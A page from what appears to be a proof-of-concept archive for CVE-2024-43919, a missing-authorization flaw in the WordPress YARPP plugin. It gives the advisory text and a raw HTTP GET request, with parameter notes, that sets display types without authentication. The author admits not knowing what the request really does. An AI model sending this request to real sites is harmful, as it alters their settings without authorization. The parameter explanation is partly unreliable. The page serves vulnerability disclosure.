Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2024-43919 PoC — WordPress Yet Another Related Posts Plugin (YARPP) plugin <= 5.30.10 - Broken Access Control vulnerability

Source
Associated Vulnerability
Title: WordPress Yet Another Related Posts Plugin (YARPP) plugin <= 5.30.10 - Broken Access Control vulnerability (CVE-2024-43919)
Description:Access Control vulnerability in YARPP YARPP allows . This issue affects YARPP: from n/a through 5.30.10.
Description
YARPP <= 5.30.10 - Missing Authorization
Readme
# CVE-2024-43919
YARPP &lt;= 5.30.10 - Missing Authorization

# Description

The YARPP – Yet Another Related Posts Plugin plugin for WordPress is vulnerable to unauthorized access due to a missing capability check in the ~/includes/yarpp_pro_set_display_types.php file in all versions up to, and including, 5.30.10. This makes it possible for unauthenticated attackers to set display types.

```
Type: plugin
CVSS Score: 5.3
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
CVE: CVE-2024-43919
Slug: yet-another-related-posts-plugin
```

Info
---

Not a clue what this actually does.

POC
---


Here's an example of a raw HTTP request that exploits the vulnerability in the YARPP plugin:

```
GET /wp-content/plugins/yet-another-related-posts-plugin/includes/yarpp_pro_set_display_types.php?ypsdt=false&types[]=post&types[]=page HTTP/1.1
Host: example.com
```

In this request:
- The `ypsdt` parameter is set to `false` to bypass the initial check in the code.
- The `types[]` parameter is used to specify the display types to set. In this example, `post` and `page` are passed as the types.
- The `Host` header specifies the target WordPress site hosting the vulnerable YARPP plugin.

When this request is sent to a WordPress site with a vulnerable version of the YARPP plugin installed, it will set the display types without requiring any authentication or authorization.

File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →